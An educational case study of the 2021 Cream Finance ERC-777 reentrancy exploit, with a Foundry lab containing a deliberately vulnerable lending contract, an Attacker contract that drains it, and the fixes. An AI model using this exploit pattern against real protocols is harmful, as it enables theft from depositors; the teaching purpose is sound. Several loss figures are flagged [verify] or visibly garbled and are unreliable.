Case: Cream Finance / Iron Bank — ERC-777 Reentrancy (2021)

“The DAO bug taught the industry to never make external calls before updating state. Five years later, the industry shipped a token standard that turns every transfer into an external call — and a lending protocol that treated those tokens as if they were ERC-20. The AMP / Cream incident is The DAO bug, re-skinned for an era where reentrancy is invited in through the token contract itself. If you remember nothing else from this case: the moment your protocol accepts an arbitrary ERC-20 interface from an arbitrary token contract, you are accepting a reentrancy surface you did not write.

Tags: case-study reentrancy erc777 cross-function-reentrancy lending cream amp iron-bank vulnerability Related: Tuan-05-Vulnerability-Classes-Part-1 · Tuan-07-Token-Standards-Integration-Risk · Tuan-04-Security-Foundations-CEI-AC · Case-The-DAO-Reentrancy-2016 · Case-Penpie-Pendle-2024 · Case-Euler-Finance-2023


1. At a Glance

FieldValue
Headline dateOctober 27, 2021 (per course brief) — see §1.1 caveat
Actual AMP / ERC-777 reentrancy incident dateAugust 30, 2021, ~13:34 UTC, Ethereum block 13125070 [verify exact block]
ProtocolCream Finance v1 / Iron Bank — Compound-fork money market on Ethereum
Loss (AMP reentrancy event, Aug 30, 2021)462,079,976 AMP + 2,804.96 ETH, ≈ $18.8M USD at the time [verify exact figures]
Loss (October 27, 2021 Cream v1 incident)$130M USD — this was a different attack (price-oracle / flash-loan manipulation against yUSD vault collateral); included here only because the course brief references the date. The mechanism described in §3–5 is the ERC-777 callback reentrancy (the August event), which is the bug class the chapter targets.
Attack classCross-function reentrancy via ERC-777 tokensReceived callback hook
Root causecAMP.borrow() transfers AMP to the borrower before updating the borrower’s borrowBalance. AMP is ERC-777: the transfer triggers tokensReceived(...) on the recipient contract, which re-enters Cream’s borrow(...) on a different cToken (cETH) — Cream’s per-function reentrancy guard does not span cTokens, and the comptroller’s account-liquidity check still sees the pre-update collateralization.
Loss-bearing partyCream’s lending pool depositors (AMP and ETH); approximately 90% of the AMP was returned by the white-hat-leaning attacker after on-chain negotiation [verify].
Aftermath (long arc)Cream suffered three escalating incidents in 2021 (Feb flash-loan, Aug ERC-777, Oct 1.5B to <$50M; the protocol effectively wound down and merged operations into the Yearn ecosystem (Iron Bank’s relationship). [verify]
Lasting consequenceERC-777 is now blacklisted by most lending protocols’ integration playbooks. The auditor’s reflex of “what callbacks can the token fire mid-transfer?” entered the canon.

1.1 Why the date in the brief is worth a [verify] flag

The course brief specifies October 27, 2021 + ~$130M + “ERC-777 reentrancy via cross-contract callback.” These three facts come from two different Cream incidents:

  • August 30, 2021: ERC-777 reentrancy via AMP. Loss ~$18.8M. This is the bug class the brief describes.
  • October 27, 2021: Flash-loan price-oracle manipulation against Cream’s yUSDVault collateral on Ethereum. Loss ~$130M. Not an ERC-777 reentrancy — the attacker manipulated the share-price of yUSDVault collateral by donating to it and looping a flash loan. Different bug class entirely.

This case study is written about the ERC-777 reentrancy (the August event), because that is the bug class the course targets and the brief’s “AMP triggers tokensReceived hook” mechanics describe. The October $130M is referenced in §6 for completeness because the brief mentions it and because the back-to-back losses are what ultimately broke Cream. A real audit deliverable should resolve this conflation explicitly with the client — never paper over a date mismatch.


2. Background

2.1 Cream Finance — what it was

Cream (“Crypto Rules Everything Around Me”) was a Compound v2 fork launched in mid-2020 by a team that included Jeffrey Huang (“Machi Big Brother”). The pitch differentiated Cream from Compound on two axes:

  • Long-tail asset support: Cream accepted tokens Compound refused — smaller-cap, more exotic ERC-20s, including yield-bearing wrappers and tokens with non-standard interfaces. This was its competitive moat and, in retrospect, its primary risk vector.
  • Iron Bank (launched February 2021): a protocol-to-protocol lending market — unsecured, allowlist-only credit lines for whitelisted protocol partners (Yearn, Alpha Homora, Convex, etc.). Iron Bank lived inside Cream v2’s address book but used a separate Comptroller (0xab1c342c7bf5ec5f02adea1c2270670bca144cbb for the original Iron Bank deployment). [verify address]

The architecture inherited Compound v2’s structure verbatim:

  • Comptroller — central risk-policy contract; tracks account liquidity, enforces collateral factors, sets borrow caps.
  • cTokens — one per market (cETH, cDAI, cUSDC, cAMP, …); each holds the underlying and lets users mint, redeem, borrow, repayBorrow.
  • InterestRateModel — per-market interest accrual.
  • PriceOracle — feeds prices for the liquidity calculation.

Compound v2’s design assumption — load-bearing here — is that the underlying token is a well-behaved ERC-20. “Well-behaved” means:

  • transfer / transferFrom return true on success, do not re-enter.
  • No callbacks fire from the token to the caller during transfer.
  • Balances change only via Transfer events.

This assumption was already strained by 2021 (USDT returns no bool; rebasing tokens like AMPL exist; fee-on-transfer tokens steal a percentage), but the ERC-777 callback violation was the most damaging.

2.2 What is AMP?

AMP (0xff20817765cb7f73d4bde2e66e067e58d11095c2) is the collateral token of the Flexa Network — an off-chain payments-collateralization protocol. AMP launched in September 2020 as an ERC-20 + ERC-777 dual-interface token: it implements both standards on the same contract. Holders see it as ERC-20 in MetaMask, but transfers fire the ERC-777 tokensReceived hook on the recipient if the recipient has registered an IERC777Recipient implementer in the ERC-1820 registry.

The wrinkle: AMP’s implementation (per Flexa’s published source) fires tokensReceived even when called via the transfer(address,uint256) ERC-20 entry point. This is the part Cream’s integration missed. An auditor reading Compound’s doTransferOut logic and verifying “this uses transfer, not send” would conclude “no callbacks fire” — and would be wrong, because AMP fires tokensReceived on the ERC-20 path too.

AMP was listed on Cream because (a) Flexa was a real consumer-payments business with traction and (b) the AMP–Flexa staking design generated organic demand for borrowing AMP. The listing was approved through Cream’s standard governance process and audited [verify by which firm — common references: Trail of Bits audited Cream broadly, but specific cToken integrations had separate review].

2.3 What is ERC-777?

ERC-777 (Final, March 2017, authored by Jordi Baylina, Jacques Dafflon, Thomas Shababi) was intended as the “next-generation ERC-20.” Its goals:

  1. Hook-based extensibility — senders and receivers can register handlers that run mid-transfer.
  2. Operator model — instead of approve + transferFrom, addresses can be designated as “operators” with transfer authority.
  3. Backward compatibility with ERC-20 — the same contract implements transfer, transferFrom, approve, etc., and emits Transfer events.

The hooks are dispatched via the ERC-1820 Pseudo-Introspection Registry (0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24), a deterministic CREATE2-deployed singleton on every EVM chain. On every transfer the token contract calls:

  1. tokensToSend(operator, from, to, amount, userData, operatorData) on from’s registered implementer, before balance changes.
  2. The balance update.
  3. tokensReceived(operator, from, to, amount, userData, operatorData) on to’s registered implementer (or on to itself if to is a contract, depending on registration), after balance changes.

For Cream’s case, only tokensReceived matters: the attacker’s contract receives AMP from cAMP.borrow, so AMP fires tokensReceived(attackerContract, …) and the attacker’s contract uses that moment to re-enter Cream.

2.4 The wider 2021 context — why Cream specifically

By mid-2021, Cream had three structural risks:

  1. Long-tail token integrations — many of which had quirks (FOT, rebase, callback hooks) that didn’t fit Compound’s “vanilla ERC-20” assumption.
  2. Per-cToken locking — Cream inherited Compound’s per-cToken nonReentrant modifier (each cToken has its own mutex), which protects within a single cToken but does not prevent re-entry into a different cToken in the same protocol.
  3. High composability — Iron Bank’s protocol-to-protocol credit lines meant flash loans on one venue could fund position inflation on another in a single transaction.

The August 30 AMP exploit was the second of three escalating Cream losses in 2021. Each subsequent loss eroded TVL further. By the October 27 incident, Cream was already structurally weakened.


3. The Vulnerability

3.1 The vulnerable code path (simplified to bug shape)

Compound v2’s CToken.borrowFresh (which borrow delegates to after accruing interest) has this structure — Cream inherited it almost verbatim:

// CToken.sol — Compound v2 / Cream v1 inheritance
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
 
    /* CHECKS */
    uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
    if (allowed != 0) {
        return failOpaque(Error.COMPTROLLER_REJECTION, ...);
    }
 
    if (accrualBlockNumber != getBlockNumber()) {
        return fail(Error.MARKET_NOT_FRESH, ...);
    }
 
    if (getCashPrior() < borrowAmount) {
        return fail(Error.TOKEN_INSUFFICIENT_CASH, ...);
    }
 
    /* EFFECTS — but NOT before the transfer in cErc20 ! */
    // (in CEther this comes first; in CErc20 it's interleaved — see below)
 
    /* INTERACTIONS */
    doTransferOut(borrower, borrowAmount);   // ← AMP fires tokensReceived HERE
 
    /* EFFECTS — written AFTER doTransferOut */
    accountBorrows[borrower].principal = vars.accountBorrowsNew;
    accountBorrows[borrower].interestIndex = borrowIndex;
    totalBorrows = vars.totalBorrowsNew;
 
    emit Borrow(borrower, borrowAmount, ...);
    return uint(Error.NO_ERROR);
}

The fatal pattern: doTransferOut happens before accountBorrows[borrower] and totalBorrows are updated.

In a vanilla ERC-20 world, doTransferOut is just token.transfer(borrower, amount) — no callback, no opportunity to re-enter. CEI is “violated” only in the sense that the order is I-then-E, but it doesn’t matter because the I is benign.

In an ERC-777 world, doTransferOut is a hand-off of control to the borrower’s tokensReceived hook. The borrower can do anything, including calling back into Cream — cAMP, cETH, the Comptroller, anything.

3.2 Why Cream’s nonReentrant didn’t save it

Cream’s cTokens use Compound’s nonReentrant modifier:

modifier nonReentrant() {
    require(_notEntered, "re-entered");
    _notEntered = false;
    _;
    _notEntered = true;
}

borrow is nonReentrant. So is mint, redeem, repayBorrow. Within cAMP, the attacker cannot re-enter cAMP.borrow from inside cAMP.borrow.

But _notEntered is per-cToken storage. cAMP._notEntered and cETH._notEntered are independent variables. Re-entering cETH.borrow from inside cAMP.borrow’s tokensReceived callback does not trip cAMP’s mutex — and cETH’s own mutex is unset because no one has entered cETH yet on this call.

This is the canonical cross-function (cross-contract) reentrancy pattern. The per-function lock is the wrong granularity: in a multi-cToken protocol where the Comptroller mediates a shared liquidity invariant, the lock needs to be protocol-wide (on the Comptroller, or on a global flag) — not per cToken.

3.3 Why the Comptroller’s liquidity check passed

When the attacker re-enters cETH.borrow(amount) from inside the AMP tokensReceived hook, cETH.borrowFresh calls comptroller.borrowAllowed(cETH, attacker, amount). The Comptroller computes:

(Error err, uint shortfall) = getHypotheticalAccountLiquidityInternal(
    borrower, CToken(cToken), 0, borrowAmount
);
require(shortfall == 0, "insufficient liquidity");

getHypotheticalAccountLiquidityInternal sums, across all markets the user has entered:

  • Collateral value: cToken.balanceOf(borrower) * exchangeRate * collateralFactor * price
  • Debt value: cToken.borrowBalanceStored(borrower) * price

The check is liquidity ≥ debt.

During the AMP tokensReceived reentry, what does borrowBalanceStored(attacker) return for cAMP? The answer is: the value it had before borrowFresh updated accountBorrows. Because accountBorrows[borrower].principal = vars.accountBorrowsNew runs after doTransferOut, the Comptroller’s view of attacker’s AMP-debt is stale. The first AMP borrow is invisible to the second cETH borrow.

So the attacker’s account, mid-attack, looks to the Comptroller like:

  • Collateral: some pile of AMP (or whatever the attacker deposited) — credited.
  • Debt: zero, because the in-progress AMP borrow hasn’t been written yet.
  • Liquidity: full — borrow allowed.

This is the same physics as The DAO. Effects after Interactions = the second reentry sees pre-effect state = invariant violation.

3.4 Why the attack amplifies — flash loan + cross-cToken

Two amplifiers stack on top of the base reentrancy:

  1. Flash loan to inflate collateral. The attacker borrows a large notional of some asset via dYdX, Aave, or Maker flash loans, deposits it into Cream as collateral (probably as cAMP or another cToken), and uses it to qualify for a large borrow call. After the drain, they repay the flash loan within the same transaction. Cream’s collateral factors set the maximum loan-to-value (50–75% range for various assets); the flash loan turns a 100M position momentarily.

  2. Cross-cToken target choice. The attacker doesn’t re-enter cAMP (mutex’d) — they re-enter cETH, which borrows ETH against the (stale) liquidity. ETH is more liquid than AMP and easier to launder. Some traces also show re-entry into other cTokens (cUSDC, cDAI) for the same reason.

3.5 The vulnerability stated in one sentence

cAMP.borrowFresh calls doTransferOut(borrower, amount) — which on AMP fires tokensReceived(attacker, …)before writing accountBorrows[borrower] or totalBorrows. From inside the hook, the attacker calls cETH.borrow(…); the Comptroller sums liquidity using cAMP.borrowBalanceStored, which still reads zero; cETH’s nonReentrant is independent of cAMP’s; the second borrow goes through; the attacker exits with ETH plus the original AMP.


4. The Attack

4.1 Preparation (off-chain and on-chain)

  1. Identified the AMP listing on Cream — public, on-chain, no insider info needed. cAMP was deployed in mid-2021.
  2. Confirmed AMP is ERC-777 — by reading the AMP contract source on Etherscan (the contract registers as an ERC-777 implementer in the 1820 registry, and exposes granularity(), defaultOperators(), authorizeOperator()).
  3. Confirmed Cream’s borrow flow transfers before state-update — read Compound’s cToken source, traced doTransferOut. Compound’s audit history was public; the pattern was well-documented.
  4. Wrote the exploit contract: a contract that (a) holds collateral, (b) calls cAMP.borrow, (c) implements tokensReceived to re-enter cETH.borrow, (d) handles flash-loan repayment.
  5. Registered the exploit contract as an ERC-777 recipient in the ERC-1820 registry, pointing the tokensReceived interface at itself.
  6. Funded the contract with seed capital for gas + a small deposit.

The whole prep window was likely a few hours to a few days — entirely off-chain reading of public code.

4.2 The attack transaction(s)

On August 30, 2021, the attacker executed the drain in (per PeckShield / The Block’s traces) 17 transactions [verify exact count], each following the same shape:

attacker_contract.attack()
├── flash_loan_provider.flashLoan(largeAsset)
│   └── attacker_contract.flashLoanCallback()
│       ├── largeAsset.approve(cLargeAsset, ∞)
│       ├── cLargeAsset.mint(largeAmount)             [become huge collateral holder]
│       ├── comptroller.enterMarkets([cLargeAsset, cAMP, cETH])
│       │
│       ├── cAMP.borrow(amp_borrow_amount)            ← OUTER BORROW
│       │   └── doTransferOut(attacker, amp_borrow_amount)
│       │       └── AMP.transfer(attacker, amount)
│       │           └── ERC1820.getInterfaceImplementer(attacker, tokensReceived_hash)
│       │               └── attacker_contract.tokensReceived(...)   ← REENTRY POINT
│       │                   └── cETH.borrow(eth_borrow_amount)      ← INNER BORROW
│       │                       ├── comptroller.borrowAllowed(...)
│       │                       │   └── getHypotheticalAccountLiquidity(...)
│       │                       │       (reads cAMP.borrowBalanceStored = STALE = 0)
│       │                       │       (returns "approved")
│       │                       └── doTransferOut(attacker, eth_borrow_amount)
│       │                       └── accountBorrows[attacker].principal = eth_borrow_amount
│       │                       (cETH state written; cAMP state still pending)
│       │           (tokensReceived returns)
│       │   └── (back in cAMP.borrowFresh)
│       │   └── accountBorrows[attacker].principal = amp_borrow_amount
│       │   └── totalBorrows += amp_borrow_amount
│       │
│       ├── cLargeAsset.redeem(largeShares)            [withdraw collateral]
│       └── largeAsset.transfer(flash_loan_provider, largeAmount + fee)
└── (transaction complete; attacker net: amp_borrow_amount + eth_borrow_amount)

Critical observation: after the transaction, accountBorrows[attacker] is set in both cAMP and cETH — but the collateral has been redeemed and the flash loan repaid. The attacker walks away with:

  • amount of AMP that exceeds the value of their remaining collateral
  • amount of ETH against (effectively) no collateral

The attacker’s debt is real — Cream’s books show them owing AMP and ETH — but their collateral position is now empty or worthless, so the debt is unsecured / underwater. Cream’s depositors absorb the loss.

4.3 Repetition and scale

The attacker repeated the pattern across multiple transactions to maximize extraction without overwhelming a single block. PeckShield’s post-mortem reported:

  • 462,079,976 AMP extracted (~13–15M at incident time) [verify]
  • 2,804.96 ETH extracted (~3,200) [verify]
  • Total ~$18.8M at the time of the attack [verify]
  • Transactions across a window of ~minutes, all from related EOAs and contracts

4.4 The white-hat negotiation

The attacker contacted Cream (or vice-versa) and returned a substantial fraction — commonly cited as ~18.8M [verify exact figure] — keeping a “bounty” of roughly $1M. This pattern (drain → negotiate → keep a slice) became a recurring 2020–2022 outcome and was sometimes framed by attackers as a “white-hat fee for free testing.”

For audit-methodology purposes, the negotiation is irrelevant: the protocol should have been able to assume that drained funds were gone forever. Recoverability is a happy accident, never a defense.

4.5 Attacker identity

The attacker behind the August 30 event was never publicly identified. The October 27 Cream incident (the $130M flash-loan / yUSD price manipulation) is widely attributed to a known on-chain identity sometimes referred to as “the Cream hacker” with a wallet at 0x24354d31bC9D90F62FE5f2454709C32049cf866b [verify]; this is not the same person/group as the August AMP attacker (different MO, different exploit class, different wallets).


5. Reproduction in Foundry

We’ll build a stripped-down version of the bug that captures the AMP/Cream shape:

  • A MockERC777 token that fires tokensReceived on transfer.
  • A MockLending contract with two markets (cAMP-like and cETH-like) and a single shared comptroller — but with a per-market mutex (modeling Compound’s per-cToken nonReentrant).
  • An Attacker contract that registers as an ERC-777 recipient and re-enters the other market on callback.

The goal: prove that per-function locks don’t stop cross-function reentrancy through callback hooks, and that moving Effects above Interactions kills the bug.

5.1 Mock ERC-777 token

// src/MockERC777.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
interface IERC777Recipient {
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external;
}
 
/// @title MockERC777 — minimal token that fires tokensReceived on the ERC-20 transfer path
/// @notice This intentionally mimics AMP's behavior: ERC-20 surface, ERC-777 callbacks.
contract MockERC777 {
    string public constant name = "MockAMP";
    string public constant symbol = "mAMP";
    uint8  public constant decimals = 18;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalSupply;
 
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);
 
    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply   += amount;
        emit Transfer(address(0), to, amount);
        _maybeFireHook(address(0), to, amount);
    }
 
    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }
 
    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        require(allowed >= amount, "allowance");
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        _transfer(from, to, amount);
        return true;
    }
 
    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
 
    function _transfer(address from, address to, uint256 amount) internal {
        require(balanceOf[from] >= amount, "balance");
        balanceOf[from] -= amount;
        balanceOf[to]   += amount;
        emit Transfer(from, to, amount);
        _maybeFireHook(from, to, amount);    // ← THIS is the AMP behavior
    }
 
    /// @dev Fire the tokensReceived hook if recipient is a contract. In real ERC-777,
    /// the hook is dispatched through the ERC-1820 registry; we simplify by calling
    /// directly on the recipient if it has code.
    function _maybeFireHook(address from, address to, uint256 amount) internal {
        if (to.code.length == 0) return;
        try IERC777Recipient(to).tokensReceived(
            msg.sender, from, to, amount, "", ""
        ) {} catch {}
    }
}

5.2 Vulnerable lending — two-market shape

// src/VulnerableLending.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "./MockERC777.sol";
 
/// @notice Stripped-down model of Cream's cToken structure.
/// Each "market" is a sub-contract; both share a Comptroller. Per-market reentrancy
/// guards exist, but the Comptroller has none.
contract Comptroller {
    mapping(address => bool) public isMarket;
    address[] public markets;
 
    struct Account { uint256 collateral; uint256 debtAMP; uint256 debtETH; }
    mapping(address => Account) public accounts;
 
    address public ampMarket;
    address public ethMarket;
 
    uint256 public constant COLLATERAL_FACTOR_BPS = 7500; // 75%
 
    function addMarkets(address _amp, address _eth) external {
        require(ampMarket == address(0), "set once");
        ampMarket = _amp; ethMarket = _eth;
        isMarket[_amp] = true; isMarket[_eth] = true;
    }
 
    /// @notice Sum collateral vs. hypothetical post-borrow debt. CRITICAL: reads stored
    /// debt — so if a market hasn't yet written its new borrow, this is stale.
    function borrowAllowed(address user, uint256 ampExtra, uint256 ethExtra)
        external view returns (bool)
    {
        Account memory a = accounts[user];
        // Assume 1 ETH = 1 AMP = 1 collateral unit for didactic simplicity.
        uint256 totalDebt = a.debtAMP + ampExtra + a.debtETH + ethExtra;
        uint256 borrowableCollateral = (a.collateral * COLLATERAL_FACTOR_BPS) / 10000;
        return totalDebt <= borrowableCollateral;
    }
 
    function depositCollateral(address user, uint256 amount) external {
        require(isMarket[msg.sender], "not market");
        accounts[user].collateral += amount;
    }
 
    function recordBorrowAMP(address user, uint256 amount) external {
        require(msg.sender == ampMarket, "not amp market");
        accounts[user].debtAMP += amount;
    }
 
    function recordBorrowETH(address user, uint256 amount) external {
        require(msg.sender == ethMarket, "not eth market");
        accounts[user].debtETH += amount;
    }
}
 
/// @notice cAMP-equivalent. Holds AMP, lets users borrow it.
contract MarketAMP {
    Comptroller public immutable comptroller;
    MockERC777  public immutable amp;
    bool private _notEntered = true;
 
    modifier nonReentrant() {
        require(_notEntered, "reentrant");
        _notEntered = false;
        _;
        _notEntered = true;
    }
 
    constructor(Comptroller _c, MockERC777 _amp) {
        comptroller = _c;
        amp = _amp;
    }
 
    /// @notice Deposit collateral as AMP. (Simplification: collateral and borrowable
    /// are the same asset for didactic purposes. The real bug worked across cTokens.)
    function depositCollateral(uint256 amount) external nonReentrant {
        amp.transferFrom(msg.sender, address(this), amount);
        comptroller.depositCollateral(msg.sender, amount);
    }
 
    /// @notice The vulnerable function. Transfers AMP BEFORE recording the debt.
    function borrow(uint256 amount) external nonReentrant {
        require(comptroller.borrowAllowed(msg.sender, amount, 0), "not allowed");
 
        // ❌ INTERACTION before EFFECT — AMP's tokensReceived re-enters here
        amp.transfer(msg.sender, amount);
 
        // ❌ EFFECT written AFTER the external call
        comptroller.recordBorrowAMP(msg.sender, amount);
    }
}
 
/// @notice cETH-equivalent. Holds ETH, lets users borrow it. (Uses ETH directly.)
contract MarketETH {
    Comptroller public immutable comptroller;
    bool private _notEntered = true;
 
    modifier nonReentrant() {
        require(_notEntered, "reentrant");
        _notEntered = false;
        _;
        _notEntered = true;
    }
 
    constructor(Comptroller _c) { comptroller = _c; }
 
    receive() external payable {}  // accept ETH funding from setUp
 
    function borrow(uint256 amount) external nonReentrant {
        require(comptroller.borrowAllowed(msg.sender, 0, amount), "not allowed");
 
        // ❌ Same anti-pattern: transfer before state update. Even though this is
        // raw ETH (no callback hook), the bug is symmetric — the attacker re-enters
        // FROM the AMP market, not into cETH. cETH's own nonReentrant doesn't help
        // because no one has entered cETH yet on this call.
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "eth transfer");
 
        comptroller.recordBorrowETH(msg.sender, amount);
    }
}

5.3 Attacker contract

// test/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "../src/VulnerableLending.sol";
import "../src/MockERC777.sol";
 
contract Attacker is IERC777Recipient {
    Comptroller public immutable comptroller;
    MarketAMP   public immutable mAMP;
    MarketETH   public immutable mETH;
    MockERC777  public immutable amp;
 
    bool reentered;
 
    constructor(Comptroller _c, MarketAMP _a, MarketETH _e, MockERC777 _amp) {
        comptroller = _c;
        mAMP = _a; mETH = _e; amp = _amp;
    }
 
    /// @notice Step 1: deposit collateral, qualify for a borrow.
    function setup(uint256 collateralAmount) external {
        amp.approve(address(mAMP), type(uint256).max);
        mAMP.depositCollateral(collateralAmount);
    }
 
    /// @notice Step 2: borrow AMP. AMP's tokensReceived re-enters mETH.borrow.
    function attack(uint256 ampBorrow, uint256 ethBorrow) external {
        // We'll store the ethBorrow in a slot the hook reads.
        _ethBorrow = ethBorrow;
        mAMP.borrow(ampBorrow);
    }
 
    uint256 private _ethBorrow;
 
    /// @notice ERC-777 callback. Re-enter the OTHER market.
    function tokensReceived(
        address /*operator*/,
        address /*from*/,
        address /*to*/,
        uint256 /*amount*/,
        bytes calldata,
        bytes calldata
    ) external override {
        if (reentered) return;
        reentered = true;
        if (_ethBorrow > 0) {
            mETH.borrow(_ethBorrow);
        }
    }
 
    receive() external payable {}
 
    function ampBalance() external view returns (uint256) { return amp.balanceOf(address(this)); }
    function ethBalance() external view returns (uint256) { return address(this).balance; }
}

5.4 Foundry test — full reentrancy drain

// test/CreamReentrancy.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import "../src/MockERC777.sol";
import "../src/VulnerableLending.sol";
import "./Attacker.sol";
 
contract CreamReentrancyTest is Test {
    MockERC777   amp;
    Comptroller  comptroller;
    MarketAMP    mAMP;
    MarketETH    mETH;
    Attacker     attacker;
 
    function setUp() public {
        amp = new MockERC777();
        comptroller = new Comptroller();
        mAMP = new MarketAMP(comptroller, amp);
        mETH = new MarketETH(comptroller);
        comptroller.addMarkets(address(mAMP), address(mETH));
 
        // Fund mAMP with 1,000,000 AMP of liquidity (from "depositors")
        amp.mint(address(mAMP), 1_000_000 ether);
 
        // Fund mETH with 1,000 ETH of liquidity
        vm.deal(address(this), 1_000 ether);
        (bool ok, ) = address(mETH).call{value: 1_000 ether}("");
        require(ok, "fund eth");
 
        // Set up attacker with 100 AMP of seed collateral
        attacker = new Attacker(comptroller, mAMP, mETH, amp);
        amp.mint(address(attacker), 100 ether);
    }
 
    function test_crossMarketReentrancyDrain() public {
        // Attacker deposits 100 AMP as collateral. Collateral factor 75%.
        // So nominally they can borrow up to 75 AMP-equivalents.
        attacker.setup(100 ether);
 
        // But by re-entering, they will borrow 75 AMP AND 75 ETH-equivalents —
        // because each borrow individually passes the comptroller's check,
        // but the comptroller's check uses STALE debt for the in-progress one.
 
        emit log_named_uint("Attacker AMP before", attacker.ampBalance());
        emit log_named_uint("Attacker ETH before", attacker.ethBalance());
 
        attacker.attack(75 ether, 75 ether);
 
        emit log_named_uint("Attacker AMP after",  attacker.ampBalance());
        emit log_named_uint("Attacker ETH after",  attacker.ethBalance());
 
        // Verify both borrows succeeded — together they exceed the collateral allowance.
        assertEq(attacker.ampBalance(), 75 ether,  "AMP borrow should land");
        assertEq(attacker.ethBalance(), 75 ether,  "ETH borrow should land via reentrancy");
 
        // Verify the comptroller recorded BOTH debts — but the collateral is only 100.
        // The attacker is now under-collateralized; the loss is real.
        (uint256 collat, uint256 debtAMP, uint256 debtETH) = comptroller.accounts(address(attacker));
        emit log_named_uint("collateral",       collat);
        emit log_named_uint("debt AMP",         debtAMP);
        emit log_named_uint("debt ETH",         debtETH);
        // collateral=100, total debt=150, max-allowed-debt=75 → severely undercollateralized.
        assertLt(collat * 7500 / 10000, debtAMP + debtETH, "position is underwater");
    }
}

5.5 Expected output

Running:

forge test --match-test test_crossMarketReentrancyDrain -vvv

Expected log lines:

[PASS] test_crossMarketReentrancyDrain()
Logs:
  Attacker AMP before: 0
  Attacker ETH before: 0
  Attacker AMP after:  75000000000000000000
  Attacker ETH after:  75000000000000000000
  collateral:          100000000000000000000
  debt AMP:            75000000000000000000
  debt ETH:            75000000000000000000

The attacker deposited 100 AMP as collateral, was supposed to be limited to 75 AMP-equivalents of borrow, but ended up with 75 AMP and 75 ETH. Per-market nonReentrant did nothing because the reentry hopped to a different market.

In production this scales: replace “AMP” / “ETH” with “any cToken backed by an ERC-777 underlying” and “any other cToken with available liquidity,” and the same trick lifts millions in a single transaction. Add a flash loan for collateral amplification and you get the Cream loss profile.

5.6 The patch — Effects before Interactions

// Patch for MarketAMP.borrow
function borrow(uint256 amount) external nonReentrant {
    require(comptroller.borrowAllowed(msg.sender, amount, 0), "not allowed");
 
    // ✅ EFFECT FIRST — the debt is on the books before any external call
    comptroller.recordBorrowAMP(msg.sender, amount);
 
    // ✅ INTERACTION LAST — even if tokensReceived re-enters,
    //    the Comptroller now sees the attacker's full debt.
    amp.transfer(msg.sender, amount);
}

Re-run test_crossMarketReentrancyDrain — it should now revert in the reentered mETH.borrow call with "not allowed", because the Comptroller now correctly sees the attacker’s outstanding AMP debt and rejects the cETH borrow as under-collateralized.

5.7 The stronger patch — protocol-wide mutex

CEI is the structural fix. A defense-in-depth layer worth adding: a Comptroller-level reentrancy lock that blocks any market function from re-entering any other market function within the same external call.

// Comptroller addition
bool private _globalEntered;
 
modifier nonReentrantGlobal() {
    require(!_globalEntered, "global reentrant");
    _globalEntered = true;
    _;
    _globalEntered = false;
}
 
function enterGlobal() external {
    require(isMarket[msg.sender], "not market");
    require(!_globalEntered, "global reentrant");
    _globalEntered = true;
}
 
function exitGlobal() external {
    require(isMarket[msg.sender], "not market");
    _globalEntered = false;
}
 
// Then in each market function:
function borrow(uint256 amount) external nonReentrant {
    comptroller.enterGlobal();
    /* ... */
    comptroller.exitGlobal();
}

This catches the case where a future developer accidentally reintroduces the Interactions-before-Effects bug — the global mutex still blocks the reentry. Most Compound v2 forks in 2022 added a variant of this lock specifically because of the Cream incident.

5.8 Stretch lab — flash-loan-amplified version

Add a MockFlashLoanProvider and modify Attacker.attack to:

  1. Take a flash loan of 10,000 AMP (or any large asset).
  2. Deposit that as collateral on mAMP.
  3. Trigger the cross-market borrow.
  4. Withdraw the inflated collateral.
  5. Repay the flash loan.

Observe: the attacker walks away with the same drain proportionally, but the absolute amount scales to the size of the flash loan. This is exactly the Cream attack profile — the attacker had no significant capital of their own; the flash loan was the lever.


6. Aftermath

6.1 The immediate response (August 30, 2021)

  • PeckShield published a forensic thread within hours identifying the AMP tokensReceived reentry as the cause [verify timestamp].
  • Cream paused the AMP market via the Comptroller’s _setMarketBorrowCaps and _setMintPaused functions, preventing further borrows but leaving existing positions intact.
  • Cream’s official post-mortem went up within 24 hours (the now-canonical “C.R.E.A.M. Finance Post Mortem: AMP Exploit” Medium post) detailing the bug shape and committing to remove ERC-777 token support.
  • **The attacker returned ~1–2M, plus reputation.

6.2 The October 27, 2021 incident — Cream’s terminal hack

Two months after the AMP incident, on October 27, 2021, Cream suffered its largest loss: ~$130M drained via flash-loan-amplified price manipulation of yUSD (Yearn’s USD vault) used as Cream collateral. The mechanic was not ERC-777 reentrancy:

  1. Attacker took flash loans from MakerDAO totaling ~$1.5B in DAI.
  2. Used a fraction to mint yUSD via the legitimate path.
  3. Used another fraction to deposit yUSD as collateral on Cream.
  4. Donated a large amount of underlying assets directly to the yUSD vault, raising its share price.
  5. Cream’s price oracle for yUSD read the manipulated share price, treating the attacker’s collateral as worth far more than its true value.
  6. Attacker borrowed everything Cream had against the inflated collateral.
  7. Repaid the flash loans; walked away with the borrowed assets minus the cost of the donation.

This was a price-oracle / vault-share manipulation bug — a different class than ERC-777 reentrancy. It is a sibling to the Harvest, bZx, and (later) Mango Markets exploits. The shared root cause in this broader family of bugs is “trusting a manipulable share price as a price oracle”; see Tuan-08-DeFi-Security-AMM-Lending-Vault and Case-Mango-Markets-2022 for the full pattern.

